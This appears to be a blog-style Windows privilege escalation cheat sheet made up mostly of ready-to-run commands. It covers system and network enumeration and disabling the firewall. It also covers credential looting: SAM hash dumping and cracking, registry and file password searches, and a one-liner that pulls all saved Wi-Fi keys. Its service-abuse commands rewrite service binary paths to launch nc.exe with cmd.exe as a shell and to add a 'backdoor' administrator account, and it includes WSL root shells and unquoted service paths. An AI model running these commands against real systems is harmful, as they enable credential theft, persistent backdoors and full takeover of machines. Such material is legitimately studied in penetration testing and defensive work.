Windows Privilege escalation – Part 2 | Enumeration

windows exploit

Windows Version and Configuration

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Extract patchs and updates

wmic qfe


wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

List all env variables

Get-ChildItem Env: | ft Key,Value

List all drives

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

User Enumeration

Get current username

echo %USERNAME% || whoami

List user privilege

whoami /priv

List all users

net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

List logon requirements; useable for bruteforcing

net accounts

Get details about a user (i.e. administrator, admin, current user)

net user administrator
net user admin
net user %USERNAME%

List all local groups

net localgroup
Get-LocalGroup | ft Name

Get details about a group (i.e. administrators)

net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource

Network Enumeration

List all network interfaces, IP, and DNS.

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

List current routing table

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

List the ARP table

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

List all current connections

netstat -ano

List firewall state and current configuration

netsh advfirewall firewall dump


netsh firewall show state
netsh firewall show config

List firewall’s blocked ports

$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules |  where {$_.action -eq "0"} | select name,applicationname,localports

Disable firewall

netsh firewall set opmode disable
netsh advfirewall set allprofiles state off

List all network shares

net share

SNMP Configuration

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

EoP – Looting for passwords

SAM and SYSTEM files

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.

# Usually %SYSTEMROOT% = C:\Windows

Generate a hash file for John using pwdump or samdump2.

pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt

Then crack it with john -format=NT /root/sam.txt.

Search for file contents

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Search for a file with a certain filename

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Search the registry for key names and passwords

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" 
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Read a value of a certain sub key

REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList

Passwords in unattend.xml

Location of the unattend.xml files.


Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul.

Example content

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">

      <LocalAccount wcm:action="add">

Unattend credentials are stored in base64 and can be decoded manually with base64.

$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo="  | base64 -d 

The Metasploit module post/windows/gather/enum_unattend looks for these files.

IIS Web config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Other files

%WINDIR%\repair\software, %WINDIR%\repair\security
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b

Wifi passwords


netsh wlan show profile

Get Cleartext Pass

netsh wlan show profile <SSID> key=clear

Oneliner method to extract wifi passwords from all the access point.

cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

Passwords stored in services

Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u\adm-arvanaghi -p s3cr3tP@ss

EoP – Processes Enumeration and Tasks

What processes are running?

tasklist /v
net start
sc query
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

Which processes are running as “system”

tasklist /v /fi "username eq system"

Do you have powershell magic?

REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion

List installed programs

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

List services

net start
wmic service list brief
tasklist /SVC

Scheduled tasks

schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Startup tasks

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

EoP – Incorrect permissions in services

A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.

Often, services are pointing to writeable locations:

  • Orphaned installs, not installed anymore but still exist in startup
  • DLL Hijacking
  • PATH directories with weak permissions
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions

Note to check file permissions you can use cacls and icacls

icacls (Windows Vista +)
cacls (Windows XP)

You are looking for BUILTIN\Users:(F)(Full access), BUILTIN\Users:(M)(Modify access) or BUILTIN\Users:(W)(Write-only access) in the output.

Example with Windows XP SP1

# NOTE: spaces are mandatory for this exploit to work !
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost

If it fails because of a missing dependency, try the following commands.

sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost

sc config upnphost depend=""

Using accesschk from Sysinternals or accesschk-XP.exe –

$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW upnphost

$ accesschk.exe -ucqv upnphost
  RW BUILTIN\Administrators
  RW NT AUTHORITY\Authenticated Users
  RW BUILTIN\Power Users

$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 9988 -e C:\WINDOWS\System32\cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>

EoP – Windows Subsystem for Linux (WSL)

Technique borrowed from Warlockobama’s tweet

With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don’t know the root password? No problem just set the default user to root W/ .exe –default-user root. Now start your bind shell or reverse.

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami

Binary bash.exe can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Alternatively you can explore the WSL filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

EoP – Unquoted Service Paths

The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Metasploit provides the exploit : exploit/windows/local/trusted_service_path


For C:\Program Files\something\legit.exe, Windows will try the following paths first:

  • C:\Program.exe
  • C:\Program Files.exe

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